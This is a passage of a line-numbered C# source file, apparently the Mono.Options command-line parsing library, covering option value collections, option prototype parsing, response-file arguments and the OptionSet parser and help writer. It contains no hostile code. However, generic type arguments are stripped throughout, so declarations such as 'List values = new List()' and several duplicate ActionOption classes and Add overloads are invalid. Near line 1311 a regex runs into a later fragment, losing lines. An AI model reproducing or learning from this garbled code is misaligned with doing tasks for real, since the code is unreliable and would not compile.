276 | public class OptionValueCollection : IList, IList {
277 |
278 | List values = new List();
279 | OptionContext c;
280 |
281 | internal OptionValueCollection(OptionContext c) {
282 | this.c = c;
283 | }
284 |
285 | #region ICollection
286 | void ICollection.CopyTo(Array array, int index) { (values as ICollection).CopyTo(array, index); }
287 | bool ICollection.IsSynchronized { get { return (values as ICollection).IsSynchronized; } }
288 | object ICollection.SyncRoot { get { return (values as ICollection).SyncRoot; } }
289 | #endregion
290 |
291 | #region ICollection
292 | public void Add(string item) { values.Add(item); }
293 | public void Clear() { values.Clear(); }
294 | public bool Contains(string item) { return values.Contains(item); }
295 | public void CopyTo(string[] array, int arrayIndex) { values.CopyTo(array, arrayIndex); }
296 | public bool Remove(string item) { return values.Remove(item); }
297 | public int Count { get { return values.Count; } }
298 | public bool IsReadOnly { get { return false; } }
299 | #endregion
300 |
301 | #region IEnumerable
302 | IEnumerator IEnumerable.GetEnumerator() { return values.GetEnumerator(); }
303 | #endregion
304 |
305 | #region IEnumerable
306 | public IEnumerator GetEnumerator() { return values.GetEnumerator(); }
307 | #endregion
308 |
309 | #region IList
310 | int IList.Add(object value) { return (values as IList).Add(value); }
311 | bool IList.Contains(object value) { return (values as IList).Contains(value); }
312 | int IList.IndexOf(object value) { return (values as IList).IndexOf(value); }
313 | void IList.Insert(int index, object value) { (values as IList).Insert(index, value); }
314 | void IList.Remove(object value) { (values as IList).Remove(value); }
315 | void IList.RemoveAt(int index) { (values as IList).RemoveAt(index); }
316 | bool IList.IsFixedSize { get { return false; } }
317 | object IList.this[int index] { get { return this[index]; } set { (values as IList)[index] = value; } }
318 | #endregion
319 |
320 | #region IList
321 | public int IndexOf(string item) { return values.IndexOf(item); }
322 | public void Insert(int index, string item) { values.Insert(index, item); }
323 | public void RemoveAt(int index) { values.RemoveAt(index); }
324 |
325 | private void AssertValid(int index) {
326 | if (c.Option == null)
327 | throw new InvalidOperationException("OptionContext.Option is null.");
328 | if (index >= c.Option.MaxValueCount)
329 | throw new ArgumentOutOfRangeException("index");
330 | if (c.Option.OptionValueType == OptionValueType.Required &&
331 | index >= values.Count)
332 | throw new OptionException(string.Format(
333 | c.OptionSet.MessageLocalizer("Missing required value for option '{0}'."), c.OptionName),
334 | c.OptionName);
335 | }
336 |
337 | public string this[int index] {
338 | get {
339 | AssertValid(index);
340 | return index >= values.Count ? null : values[index];
341 | }
342 | set {
343 | values[index] = value;
344 | }
345 | }
346 | #endregion
347 |
348 | public List ToList() {
349 | return new List(values);
350 | }
351 |
352 | public string[] ToArray() {
353 | return values.ToArray();
354 | }
355 |
356 | public override string ToString() {
357 | return string.Join(", ", values.ToArray());
358 | }
359 | }
360 |
361 | public class OptionContext {
362 | private Option option;
363 | private string name;
364 | private int index;
365 | private OptionSet set;
366 | private OptionValueCollection c;
367 |
368 | public OptionContext(OptionSet set) {
369 | this.set = set;
370 | this.c = new OptionValueCollection(this);
371 | }
372 |
373 | public Option Option {
374 | get { return option; }
375 | set { option = value; }
376 | }
377 |
378 | public string OptionName {
379 | get { return name; }
380 | set { name = value; }
381 | }
382 |
383 | public int OptionIndex {
384 | get { return index; }
385 | set { index = value; }
386 | }
387 |
388 | public OptionSet OptionSet {
389 | get { return set; }
390 | }
391 |
392 | public OptionValueCollection OptionValues {
393 | get { return c; }
394 | }
395 | }
396 |
397 | public enum OptionValueType {
398 | None,
399 | Optional,
400 | Required,
401 | }
402 |
403 | public abstract class Option {
404 | string prototype, description;
405 | string[] names;
406 | OptionValueType type;
407 | int count;
408 | string[] separators;
409 | bool hidden;
410 |
411 | protected Option(string prototype, string description)
412 | : this(prototype, description, 1, false) {
413 | }
414 |
415 | protected Option(string prototype, string description, int maxValueCount)
416 | : this(prototype, description, maxValueCount, false) {
417 | }
418 |
419 | protected Option(string prototype, string description, int maxValueCount, bool hidden) {
420 | if (prototype == null)
421 | throw new ArgumentNullException("prototype");
422 | if (prototype.Length == 0)
423 | throw new ArgumentException("Cannot be the empty string.", "prototype");
424 | if (maxValueCount < 0)
425 | throw new ArgumentOutOfRangeException("maxValueCount");
426 |
427 | this.prototype = prototype;
428 | this.description = description;
429 | this.count = maxValueCount;
430 | this.names = (this is OptionSet.Category)
431 | // append GetHashCode() so that "duplicate" categories have distinct
432 | // names, e.g. adding multiple "" categories should be valid.
433 | ? new[] { prototype + this.GetHashCode() }
434 | : prototype.Split('|');
435 |
436 | if (this is OptionSet.Category || this is CommandOption)
437 | return;
438 |
439 | this.type = ParsePrototype();
440 | this.hidden = hidden;
441 |
442 | if (this.count == 0 && type != OptionValueType.None)
443 | throw new ArgumentException(
444 | "Cannot provide maxValueCount of 0 for OptionValueType.Required or " +
445 | "OptionValueType.Optional.",
446 | "maxValueCount");
447 | if (this.type == OptionValueType.None && maxValueCount > 1)
448 | throw new ArgumentException(
449 | string.Format("Cannot provide maxValueCount of {0} for OptionValueType.None.", maxValueCount),
450 | "maxValueCount");
451 | if (Array.IndexOf(names, "<>") >= 0 &&
452 | ((names.Length == 1 && this.type != OptionValueType.None) ||
453 | (names.Length > 1 && this.MaxValueCount > 1)))
454 | throw new ArgumentException(
455 | "The default option handler '<>' cannot require values.",
456 | "prototype");
457 | }
458 |
459 | public string Prototype { get { return prototype; } }
460 | public string Description { get { return description; } }
461 | public OptionValueType OptionValueType { get { return type; } }
462 | public int MaxValueCount { get { return count; } }
463 | public bool Hidden { get { return hidden; } }
464 |
465 | public string[] GetNames() {
466 | return (string[])names.Clone();
467 | }
468 |
469 | public string[] GetValueSeparators() {
470 | if (separators == null)
471 | return new string[0];
472 | return (string[])separators.Clone();
473 | }
474 |
475 | protected static T Parse(string value, OptionContext c) {
476 | Type tt = typeof(T);
477 | #if PCL
478 | TypeInfo ti = tt.GetTypeInfo ();
479 | #else
480 | Type ti = tt;
481 | #endif
482 | bool nullable =
483 | ti.IsValueType &&
484 | ti.IsGenericType &&
485 | !ti.IsGenericTypeDefinition &&
486 | ti.GetGenericTypeDefinition() == typeof(Nullable<>);
487 | #if PCL
488 | Type targetType = nullable ? tt.GenericTypeArguments [0] : tt;
489 | #else
490 | Type targetType = nullable ? tt.GetGenericArguments()[0] : tt;
491 | #endif
492 | T t = default(T);
493 | try {
494 | if (value != null) {
495 | #if PCL
496 | if (targetType.GetTypeInfo ().IsEnum)
497 | t = (T) Enum.Parse (targetType, value, true);
498 | else
499 | t = (T) Convert.ChangeType (value, targetType);
500 | #else
501 | TypeConverter conv = TypeDescriptor.GetConverter(targetType);
502 | t = (T)conv.ConvertFromString(value);
503 | #endif
504 | }
505 | } catch (Exception e) {
506 | throw new OptionException(
507 | string.Format(
508 | c.OptionSet.MessageLocalizer("Could not convert string `{0}' to type {1} for option `{2}'."),
509 | value, targetType.Name, c.OptionName),
510 | c.OptionName, e);
511 | }
512 | return t;
513 | }
514 |
515 | internal string[] Names { get { return names; } }
516 | internal string[] ValueSeparators { get { return separators; } }
517 |
518 | static readonly char[] NameTerminator = new char[] { '=', ':' };
519 |
520 | private OptionValueType ParsePrototype() {
521 | char type = '\0';
522 | List seps = new List();
523 | for (int i = 0; i < names.Length; ++i) {
524 | string name = names[i];
525 | if (name.Length == 0)
526 | throw new ArgumentException("Empty option names are not supported.", "prototype");
527 |
528 | int end = name.IndexOfAny(NameTerminator);
529 | if (end == -1)
530 | continue;
531 | names[i] = name.Substring(0, end);
532 | if (type == '\0' || type == name[end])
533 | type = name[end];
534 | else
535 | throw new ArgumentException(
536 | string.Format("Conflicting option types: '{0}' vs. '{1}'.", type, name[end]),
537 | "prototype");
538 | AddSeparators(name, end, seps);
539 | }
540 |
541 | if (type == '\0')
542 | return OptionValueType.None;
543 |
544 | if (count <= 1 && seps.Count != 0)
545 | throw new ArgumentException(
546 | string.Format("Cannot provide key/value separators for Options taking {0} value(s).", count),
547 | "prototype");
548 | if (count > 1) {
549 | if (seps.Count == 0)
550 | this.separators = new string[] { ":", "=" };
551 | else if (seps.Count == 1 && seps[0].Length == 0)
552 | this.separators = null;
553 | else
554 | this.separators = seps.ToArray();
555 | }
556 |
557 | return type == '=' ? OptionValueType.Required : OptionValueType.Optional;
558 | }
559 |
560 | private static void AddSeparators(string name, int end, ICollection seps) {
561 | int start = -1;
562 | for (int i = end + 1; i < name.Length; ++i) {
563 | switch (name[i]) {
564 | case '{':
565 | if (start != -1)
566 | throw new ArgumentException(
567 | string.Format("Ill-formed name/value separator found in \"{0}\".", name),
568 | "prototype");
569 | start = i + 1;
570 | break;
571 | case '}':
572 | if (start == -1)
573 | throw new ArgumentException(
574 | string.Format("Ill-formed name/value separator found in \"{0}\".", name),
575 | "prototype");
576 | seps.Add(name.Substring(start, i - start));
577 | start = -1;
578 | break;
579 | default:
580 | if (start == -1)
581 | seps.Add(name[i].ToString());
582 | break;
583 | }
584 | }
585 | if (start != -1)
586 | throw new ArgumentException(
587 | string.Format("Ill-formed name/value separator found in \"{0}\".", name),
588 | "prototype");
589 | }
590 |
591 | public void Invoke(OptionContext c) {
592 | OnParseComplete(c);
593 | c.OptionName = null;
594 | c.Option = null;
595 | c.OptionValues.Clear();
596 | }
597 |
598 | protected abstract void OnParseComplete(OptionContext c);
599 |
600 | internal void InvokeOnParseComplete(OptionContext c) {
601 | OnParseComplete(c);
602 | }
603 |
604 | public override string ToString() {
605 | return Prototype;
606 | }
607 | }
608 |
609 | public abstract class ArgumentSource {
610 |
611 | protected ArgumentSource() {
612 | }
613 |
614 | public abstract string[] GetNames();
615 | public abstract string Description { get; }
616 | public abstract bool GetArguments(string value, out IEnumerable replacement);
617 |
618 | #if !PCL || NETSTANDARD1_3
619 | public static IEnumerable GetArgumentsFromFile(string file) {
620 | return GetArguments(File.OpenText(file), true);
621 | }
622 | #endif
623 |
624 | public static IEnumerable GetArguments(TextReader reader) {
625 | return GetArguments(reader, false);
626 | }
627 |
628 | // Cribbed from mcs/driver.cs:LoadArgs(string)
629 | static IEnumerable GetArguments(TextReader reader, bool close) {
630 | try {
631 | StringBuilder arg = new StringBuilder();
632 |
633 | string line;
634 | while ((line = reader.ReadLine()) != null) {
635 | int t = line.Length;
636 |
637 | for (int i = 0; i < t; i++) {
638 | char c = line[i];
639 |
640 | if (c == '"' || c == '\'') {
641 | char end = c;
642 |
643 | for (i++; i < t; i++) {
644 | c = line[i];
645 |
646 | if (c == end)
647 | break;
648 | arg.Append(c);
649 | }
650 | } else if (c == ' ') {
651 | if (arg.Length > 0) {
652 | yield return arg.ToString();
653 | arg.Length = 0;
654 | }
655 | } else
656 | arg.Append(c);
657 | }
658 | if (arg.Length > 0) {
659 | yield return arg.ToString();
660 | arg.Length = 0;
661 | }
662 | }
663 | } finally {
664 | if (close)
665 | reader.Dispose();
666 | }
667 | }
668 | }
669 |
670 | #if !PCL || NETSTANDARD1_3
671 | internal class ResponseFileSource : ArgumentSource {
672 |
673 | public override string[] GetNames() {
674 | return new string[] { "@file" };
675 | }
676 |
677 | public override string Description {
678 | get { return "Read response file for more options."; }
679 | }
680 |
681 | public override bool GetArguments(string value, out IEnumerable replacement) {
682 | if (string.IsNullOrEmpty(value) || !value.StartsWith("@")) {
683 | replacement = null;
684 | return false;
685 | }
686 | replacement = ArgumentSource.GetArgumentsFromFile(value.Substring(1));
687 | return true;
688 | }
689 | }
690 | #endif
691 |
692 | #if !PCL
693 | [Serializable]
694 | #endif
695 | internal class OptionException : Exception {
696 | private string option;
697 |
698 | public OptionException() {
699 | }
700 |
701 | public OptionException(string message, string optionName)
702 | : base(message) {
703 | this.option = optionName;
704 | }
705 |
706 | public OptionException(string message, string optionName, Exception innerException)
707 | : base(message, innerException) {
708 | this.option = optionName;
709 | }
710 |
711 | #if !PCL
712 | protected OptionException(SerializationInfo info, StreamingContext context)
713 | : base(info, context) {
714 | this.option = info.GetString("OptionName");
715 | }
716 | #endif
717 |
718 | public string OptionName {
719 | get { return this.option; }
720 | }
721 |
722 | #if !PCL
723 | #pragma warning disable 618 // SecurityPermissionAttribute is obsolete
724 | [SecurityPermission(SecurityAction.LinkDemand, SerializationFormatter = true)]
725 | #pragma warning restore 618
726 | public override void GetObjectData(SerializationInfo info, StreamingContext context) {
727 | base.GetObjectData(info, context);
728 | info.AddValue("OptionName", option);
729 | }
730 | #endif
731 | }
732 |
733 | public delegate void OptionAction(TKey key, TValue value);
734 |
735 | public class OptionSet : KeyedCollection {
736 | public OptionSet()
737 | : this(null) {
738 | }
739 |
740 | public OptionSet(MessageLocalizerConverter localizer) {
741 | this.roSources = new ReadOnlyCollection(sources);
742 | this.localizer = localizer;
743 | if (this.localizer == null) {
744 | this.localizer = delegate (string f) {
745 | return f;
746 | };
747 | }
748 | }
749 |
750 | MessageLocalizerConverter localizer;
751 |
752 | public MessageLocalizerConverter MessageLocalizer {
753 | get { return localizer; }
754 | internal set { localizer = value; }
755 | }
756 |
757 | List sources = new List();
758 | ReadOnlyCollection roSources;
759 |
760 | public ReadOnlyCollection ArgumentSources {
761 | get { return roSources; }
762 | }
763 |
764 |
765 | protected override string GetKeyForItem(Option item) {
766 | if (item == null)
767 | throw new ArgumentNullException("option");
768 | if (item.Names != null && item.Names.Length > 0)
769 | return item.Names[0];
770 | // This should never happen, as it's invalid for Option to be
771 | // constructed w/o any names.
772 | throw new InvalidOperationException("Option has no names!");
773 | }
774 |
775 | [Obsolete("Use KeyedCollection.this[string]")]
776 | protected Option GetOptionForName(string option) {
777 | if (option == null)
778 | throw new ArgumentNullException("option");
779 | try {
780 | return base[option];
781 | } catch (KeyNotFoundException) {
782 | return null;
783 | }
784 | }
785 |
786 | protected override void InsertItem(int index, Option item) {
787 | base.InsertItem(index, item);
788 | AddImpl(item);
789 | }
790 |
791 | protected override void RemoveItem(int index) {
792 | Option p = Items[index];
793 | base.RemoveItem(index);
794 | // KeyedCollection.RemoveItem() handles the 0th item
795 | for (int i = 1; i < p.Names.Length; ++i) {
796 | Dictionary.Remove(p.Names[i]);
797 | }
798 | }
799 |
800 | protected override void SetItem(int index, Option item) {
801 | base.SetItem(index, item);
802 | AddImpl(item);
803 | }
804 |
805 | private void AddImpl(Option option) {
806 | if (option == null)
807 | throw new ArgumentNullException("option");
808 | List added = new List(option.Names.Length);
809 | try {
810 | // KeyedCollection.InsertItem/SetItem handle the 0th name.
811 | for (int i = 1; i < option.Names.Length; ++i) {
812 | Dictionary.Add(option.Names[i], option);
813 | added.Add(option.Names[i]);
814 | }
815 | } catch (Exception) {
816 | foreach (string name in added)
817 | Dictionary.Remove(name);
818 | throw;
819 | }
820 | }
821 |
822 | public OptionSet Add(string header) {
823 | if (header == null)
824 | throw new ArgumentNullException("header");
825 | Add(new Category(header));
826 | return this;
827 | }
828 |
829 | internal sealed class Category : Option {
830 |
831 | // Prototype starts with '=' because this is an invalid prototype
832 | // (see Option.ParsePrototype(), and thus it'll prevent Category
833 | // instances from being accidentally used as normal options.
834 | public Category(string description)
835 | : base("=:Category:= " + description, description) {
836 | }
837 |
838 | protected override void OnParseComplete(OptionContext c) {
839 | throw new NotSupportedException("Category.OnParseComplete should not be invoked.");
840 | }
841 | }
842 |
843 |
844 | public new OptionSet Add(Option option) {
845 | base.Add(option);
846 | return this;
847 | }
848 |
849 | sealed class ActionOption : Option {
850 | Action action;
851 |
852 | public ActionOption(string prototype, string description, int count, Action action)
853 | : this(prototype, description, count, action, false) {
854 | }
855 |
856 | public ActionOption(string prototype, string description, int count, Action action, bool hidden)
857 | : base(prototype, description, count, hidden) {
858 | if (action == null)
859 | throw new ArgumentNullException("action");
860 | this.action = action;
861 | }
862 |
863 | protected override void OnParseComplete(OptionContext c) {
864 | action(c.OptionValues);
865 | }
866 | }
867 |
868 | public OptionSet Add(string prototype, Action action) {
869 | return Add(prototype, null, action);
870 | }
871 |
872 | public OptionSet Add(string prototype, string description, Action action) {
873 | return Add(prototype, description, action, false);
874 | }
875 |
876 | public OptionSet Add(string prototype, string description, Action action, bool hidden) {
877 | if (action == null)
878 | throw new ArgumentNullException("action");
879 | Option p = new ActionOption(prototype, description, 1,
880 | delegate (OptionValueCollection v) { action(v[0]); }, hidden);
881 | base.Add(p);
882 | return this;
883 | }
884 |
885 | public OptionSet Add(string prototype, OptionAction action) {
886 | return Add(prototype, null, action);
887 | }
888 |
889 | public OptionSet Add(string prototype, string description, OptionAction action) {
890 | return Add(prototype, description, action, false);
891 | }
892 |
893 | public OptionSet Add(string prototype, string description, OptionAction action, bool hidden) {
894 | if (action == null)
895 | throw new ArgumentNullException("action");
896 | Option p = new ActionOption(prototype, description, 2,
897 | delegate (OptionValueCollection v) { action(v[0], v[1]); }, hidden);
898 | base.Add(p);
899 | return this;
900 | }
901 |
902 | sealed class ActionOption : Option {
903 | Action action;
904 |
905 | public ActionOption(string prototype, string description, Action action)
906 | : base(prototype, description, 1) {
907 | if (action == null)
908 | throw new ArgumentNullException("action");
909 | this.action = action;
910 | }
911 |
912 | protected override void OnParseComplete(OptionContext c) {
913 | action(Parse(c.OptionValues[0], c));
914 | }
915 | }
916 |
917 | sealed class ActionOption : Option {
918 | OptionAction action;
919 |
920 | public ActionOption(string prototype, string description, OptionAction action)
921 | : base(prototype, description, 2) {
922 | if (action == null)
923 | throw new ArgumentNullException("action");
924 | this.action = action;
925 | }
926 |
927 | protected override void OnParseComplete(OptionContext c) {
928 | action(
929 | Parse(c.OptionValues[0], c),
930 | Parse(c.OptionValues[1], c));
931 | }
932 | }
933 |
934 | public OptionSet Add(string prototype, Action action) {
935 | return Add(prototype, null, action);
936 | }
937 |
938 | public OptionSet Add(string prototype, string description, Action action) {
939 | return Add(new ActionOption(prototype, description, action));
940 | }
941 |
942 | public OptionSet Add(string prototype, OptionAction action) {
943 | return Add(prototype, null, action);
944 | }
945 |
946 | public OptionSet Add(string prototype, string description, OptionAction action) {
947 | return Add(new ActionOption(prototype, description, action));
948 | }
949 |
950 | public OptionSet Add(ArgumentSource source) {
951 | if (source == null)
952 | throw new ArgumentNullException("source");
953 | sources.Add(source);
954 | return this;
955 | }
956 |
957 | protected virtual OptionContext CreateOptionContext() {
958 | return new OptionContext(this);
959 | }
960 |
961 | public List Parse(IEnumerable arguments) {
962 | if (arguments == null)
963 | throw new ArgumentNullException("arguments");
964 | OptionContext c = CreateOptionContext();
965 | c.OptionIndex = -1;
966 | bool process = true;
967 | List unprocessed = new List();
968 | Option def = Contains("<>") ? this["<>"] : null;
969 | ArgumentEnumerator ae = new ArgumentEnumerator(arguments);
970 | foreach (string argument in ae) {
971 | ++c.OptionIndex;
972 | if (argument == "--") {
973 | process = false;
974 | continue;
975 | }
976 | if (!process) {
977 | Unprocessed(unprocessed, def, c, argument);
978 | continue;
979 | }
980 | if (AddSource(ae, argument))
981 | continue;
982 | if (!Parse(argument, c))
983 | Unprocessed(unprocessed, def, c, argument);
984 | }
985 | if (c.Option != null)
986 | c.Option.Invoke(c);
987 | return unprocessed;
988 | }
989 |
990 | class ArgumentEnumerator : IEnumerable {
991 | List> sources = new List>();
992 |
993 | public ArgumentEnumerator(IEnumerable arguments) {
994 | sources.Add(arguments.GetEnumerator());
995 | }
996 |
997 | public void Add(IEnumerable arguments) {
998 | sources.Add(arguments.GetEnumerator());
999 | }
1000 |
1001 | public IEnumerator GetEnumerator() {
1002 | do {
1003 | IEnumerator c = sources[sources.Count - 1];
1004 | if (c.MoveNext())
1005 | yield return c.Current;
1006 | else {
1007 | c.Dispose();
1008 | sources.RemoveAt(sources.Count - 1);
1009 | }
1010 | } while (sources.Count > 0);
1011 | }
1012 |
1013 | IEnumerator IEnumerable.GetEnumerator() {
1014 | return GetEnumerator();
1015 | }
1016 | }
1017 |
1018 | bool AddSource(ArgumentEnumerator ae, string argument) {
1019 | foreach (ArgumentSource source in sources) {
1020 | IEnumerable replacement;
1021 | if (!source.GetArguments(argument, out replacement))
1022 | continue;
1023 | ae.Add(replacement);
1024 | return true;
1025 | }
1026 | return false;
1027 | }
1028 |
1029 | private static bool Unprocessed(ICollection extra, Option def, OptionContext c, string argument) {
1030 | if (def == null) {
1031 | extra.Add(argument);
1032 | return false;
1033 | }
1034 | c.OptionValues.Add(argument);
1035 | c.Option = def;
1036 | c.Option.Invoke(c);
1037 | return false;
1038 | }
1039 |
1040 | private readonly Regex ValueOption = new Regex(
1041 | @"^(?--|-|/)(?[^:=]+)((?[:=])(?.*))?$");
1042 |
1043 | protected bool GetOptionParts(string argument, out string flag, out string name, out string sep, out string value) {
1044 | if (argument == null)
1045 | throw new ArgumentNullException("argument");
1046 |
1047 | flag = name = sep = value = null;
1048 | Match m = ValueOption.Match(argument);
1049 | if (!m.Success) {
1050 | return false;
1051 | }
1052 | flag = m.Groups["flag"].Value;
1053 | name = m.Groups["name"].Value;
1054 | if (m.Groups["sep"].Success && m.Groups["value"].Success) {
1055 | sep = m.Groups["sep"].Value;
1056 | value = m.Groups["value"].Value;
1057 | }
1058 | return true;
1059 | }
1060 |
1061 | protected virtual bool Parse(string argument, OptionContext c) {
1062 | if (c.Option != null) {
1063 | ParseValue(argument, c);
1064 | return true;
1065 | }
1066 |
1067 | string f, n, s, v;
1068 | if (!GetOptionParts(argument, out f, out n, out s, out v))
1069 | return false;
1070 |
1071 | Option p;
1072 | if (Contains(n)) {
1073 | p = this[n];
1074 | c.OptionName = f + n;
1075 | c.Option = p;
1076 | switch (p.OptionValueType) {
1077 | case OptionValueType.None:
1078 | c.OptionValues.Add(n);
1079 | c.Option.Invoke(c);
1080 | break;
1081 | case OptionValueType.Optional:
1082 | case OptionValueType.Required:
1083 | ParseValue(v, c);
1084 | break;
1085 | }
1086 | return true;
1087 | }
1088 | // no match; is it a bool option?
1089 | if (ParseBool(argument, n, c))
1090 | return true;
1091 | // is it a bundled option?
1092 | if (ParseBundledValue(f, string.Concat(n + s + v), c))
1093 | return true;
1094 |
1095 | return false;
1096 | }
1097 |
1098 | private void ParseValue(string option, OptionContext c) {
1099 | if (option != null)
1100 | foreach (string o in c.Option.ValueSeparators != null
1101 | ? option.Split(c.Option.ValueSeparators, c.Option.MaxValueCount - c.OptionValues.Count, StringSplitOptions.None)
1102 | : new string[] { option }) {
1103 | c.OptionValues.Add(o);
1104 | }
1105 | if (c.OptionValues.Count == c.Option.MaxValueCount ||
1106 | c.Option.OptionValueType == OptionValueType.Optional)
1107 | c.Option.Invoke(c);
1108 | else if (c.OptionValues.Count > c.Option.MaxValueCount) {
1109 | throw new OptionException(localizer(string.Format(
1110 | "Error: Found {0} option values when expecting {1}.",
1111 | c.OptionValues.Count, c.Option.MaxValueCount)),
1112 | c.OptionName);
1113 | }
1114 | }
1115 |
1116 | private bool ParseBool(string option, string n, OptionContext c) {
1117 | Option p;
1118 | string rn;
1119 | if (n.Length >= 1 && (n[n.Length - 1] == '+' || n[n.Length - 1] == '-') &&
1120 | Contains((rn = n.Substring(0, n.Length - 1)))) {
1121 | p = this[rn];
1122 | string v = n[n.Length - 1] == '+' ? option : null;
1123 | c.OptionName = option;
1124 | c.Option = p;
1125 | c.OptionValues.Add(v);
1126 | p.Invoke(c);
1127 | return true;
1128 | }
1129 | return false;
1130 | }
1131 |
1132 | private bool ParseBundledValue(string f, string n, OptionContext c) {
1133 | if (f != "-")
1134 | return false;
1135 | for (int i = 0; i < n.Length; ++i) {
1136 | Option p;
1137 | string opt = f + n[i].ToString();
1138 | string rn = n[i].ToString();
1139 | if (!Contains(rn)) {
1140 | if (i == 0)
1141 | return false;
1142 | throw new OptionException(string.Format(localizer(
1143 | "Cannot use unregistered option '{0}' in bundle '{1}'."), rn, f + n), null);
1144 | }
1145 | p = this[rn];
1146 | switch (p.OptionValueType) {
1147 | case OptionValueType.None:
1148 | Invoke(c, opt, n, p);
1149 | break;
1150 | case OptionValueType.Optional:
1151 | case OptionValueType.Required: {
1152 | string v = n.Substring(i + 1);
1153 | c.Option = p;
1154 | c.OptionName = opt;
1155 | ParseValue(v.Length != 0 ? v : null, c);
1156 | return true;
1157 | }
1158 | default:
1159 | throw new InvalidOperationException("Unknown OptionValueType: " + p.OptionValueType);
1160 | }
1161 | }
1162 | return true;
1163 | }
1164 |
1165 | private static void Invoke(OptionContext c, string name, string value, Option option) {
1166 | c.OptionName = name;
1167 | c.Option = option;
1168 | c.OptionValues.Add(value);
1169 | option.Invoke(c);
1170 | }
1171 |
1172 | private const int OptionWidth = 29;
1173 | private const int Description_FirstWidth = 100 - OptionWidth;
1174 | private const int Description_RemWidth = 100 - OptionWidth - 2;
1175 |
1176 | static readonly string CommandHelpIndentStart = new string(' ', OptionWidth);
1177 | static readonly string CommandHelpIndentRemaining = new string(' ', OptionWidth + 2);
1178 |
1179 | public void WriteOptionDescriptions(TextWriter o) {
1180 | foreach (Option p in this) {
1181 | int written = 0;
1182 |
1183 | if (p.Hidden)
1184 | continue;
1185 |
1186 | Category c = p as Category;
1187 | if (c != null) {
1188 | WriteDescription(o, p.Description, "", 80, 80);
1189 | continue;
1190 | }
1191 | CommandOption co = p as CommandOption;
1192 | if (co != null) {
1193 | WriteCommandDescription(o, co.Command, co.CommandName);
1194 | continue;
1195 | }
1196 |
1197 | if (!WriteOptionPrototype(o, p, ref written))
1198 | continue;
1199 |
1200 | if (written < OptionWidth)
1201 | o.Write(new string(' ', OptionWidth - written));
1202 | else {
1203 | o.WriteLine();
1204 | o.Write(new string(' ', OptionWidth));
1205 | }
1206 |
1207 | WriteDescription(o, p.Description, new string(' ', OptionWidth + 2),
1208 | Description_FirstWidth, Description_RemWidth);
1209 | }
1210 |
1211 | foreach (ArgumentSource s in sources) {
1212 | string[] names = s.GetNames();
1213 | if (names == null || names.Length == 0)
1214 | continue;
1215 |
1216 | int written = 0;
1217 |
1218 | Write(o, ref written, " ");
1219 | Write(o, ref written, names[0]);
1220 | for (int i = 1; i < names.Length; ++i) {
1221 | Write(o, ref written, ", ");
1222 | Write(o, ref written, names[i]);
1223 | }
1224 |
1225 | if (written < OptionWidth)
1226 | o.Write(new string(' ', OptionWidth - written));
1227 | else {
1228 | o.WriteLine();
1229 | o.Write(new string(' ', OptionWidth));
1230 | }
1231 |
1232 | WriteDescription(o, s.Description, new string(' ', OptionWidth + 2),
1233 | Description_FirstWidth, Description_RemWidth);
1234 | }
1235 | }
1236 |
1237 | internal void WriteCommandDescription(TextWriter o, Command c, string commandName) {
1238 | var name = new string(' ', 8) + (commandName ?? c.Name);
1239 | if (name.Length < OptionWidth - 1) {
1240 | WriteDescription(o, name + new string(' ', OptionWidth - name.Length) + c.Help, CommandHelpIndentRemaining, 80, Description_RemWidth);
1241 | } else {
1242 | WriteDescription(o, name, "", 80, 80);
1243 | WriteDescription(o, CommandHelpIndentStart + c.Help, CommandHelpIndentRemaining, 80, Description_RemWidth);
1244 | }
1245 | }
1246 |
1247 | void WriteDescription(TextWriter o, string value, string prefix, int firstWidth, int remWidth) {
1248 | bool indent = false;
1249 | foreach (string line in GetLines(localizer(GetDescription(value)), firstWidth, remWidth)) {
1250 | if (indent)
1251 | o.Write(prefix);
1252 | o.WriteLine(line);
1253 | indent = true;
1254 | }
1255 | }
1256 |
1257 | bool WriteOptionPrototype(TextWriter o, Option p, ref int written) {
1258 | string[] names = p.Names;
1259 |
1260 | int i = GetNextOptionIndex(names, 0);
1261 | if (i == names.Length)
1262 | return false;
1263 |
1264 | if (names[i].Length == 1) {
1265 | Write(o, ref written, " -");
1266 | Write(o, ref written, names[0]);
1267 | } else {
1268 | Write(o, ref written, " --");
1269 | Write(o, ref written, names[0]);
1270 | }
1271 |
1272 | for (i = GetNextOptionIndex(names, i + 1);
1273 | i < names.Length; i = GetNextOptionIndex(names, i + 1)) {
1274 | Write(o, ref written, ", ");
1275 | Write(o, ref written, names[i].Length == 1 ? "-" : "--");
1276 | Write(o, ref written, names[i]);
1277 | }
1278 |
1279 | if (p.OptionValueType == OptionValueType.Optional ||
1280 | p.OptionValueType == OptionValueType.Required) {
1281 | if (p.OptionValueType == OptionValueType.Optional) {
1282 | Write(o, ref written, localizer("["));
1283 | }
1284 | Write(o, ref written, localizer("=" + GetArgumentName(0, p.MaxValueCount, p.Description)));
1285 | string sep = p.ValueSeparators != null && p.ValueSeparators.Length > 0
1286 | ? p.ValueSeparators[0]
1287 | : " ";
1288 | for (int c = 1; c < p.MaxValueCount; ++c) {
1289 | Write(o, ref written, localizer(sep + GetArgumentName(c, p.MaxValueCount, p.Description)));
1290 | }
1291 | if (p.OptionValueType == OptionValueType.Optional) {
1292 | Write(o, ref written, localizer("]"));
1293 | }
1294 | }
1295 | return true;
1296 | }
1297 |
1298 | static int GetNextOptionIndex(string[] names, int i) {
1299 | while (i < names.Length && names[i] == "<>") {
1300 | ++i;
1301 | }
1302 | return i;
1303 | }
1304 |
1305 | static void Write(TextWriter o, ref int n, string s) {
1306 | n += s.Length;
1307 | o.Write(s);
1308 | }
1309 |
1310 | static string GetArgumentName(int index, int maxIndex, string description) {
1311 | var matches = Regex.Matches(description ?? "", @"(?<=(? 1
1320 | if (maxIndex > 1 && parts.Length == 2 &&
1321 | parts[0] == index.ToString(CultureInfo.InvariantCulture)) {
1322 | argName = parts[1];
1323 | }
1324 | }
1325 |
1326 | if (string.IsNullOrEmpty(argName)) {
1327 | argName = maxIndex == 1 ? "VALUE" : "VALUE" + (index + 1);
1328 | }
1329 | return argName;
1330 | }
1331 |
1332 | private static string GetDescription(string description) {
1333 | if (description == null)
1334 | return string.Empty;
1335 | StringBuilder sb = new StringBuilder(description.Length);
1336 | int start = -1;
1337 | for (int i = 0; i < description.Length; ++i) {
1338 | switch (description[i]) {
1339 | case '{':
1340 | if (i == start) {
1341 | sb.Append('{');
1342 | start = -1;
1343 | } else if (start < 0)
1344 | start = i + 1;
1345 | break;
1346 | case '}':
1347 | if (start < 0) {
1348 | if ((i + 1) == description.Length || description[i + 1] != '}')
1349 | throw new InvalidOperationException("Invalid option description: " + description);
1350 | ++i;
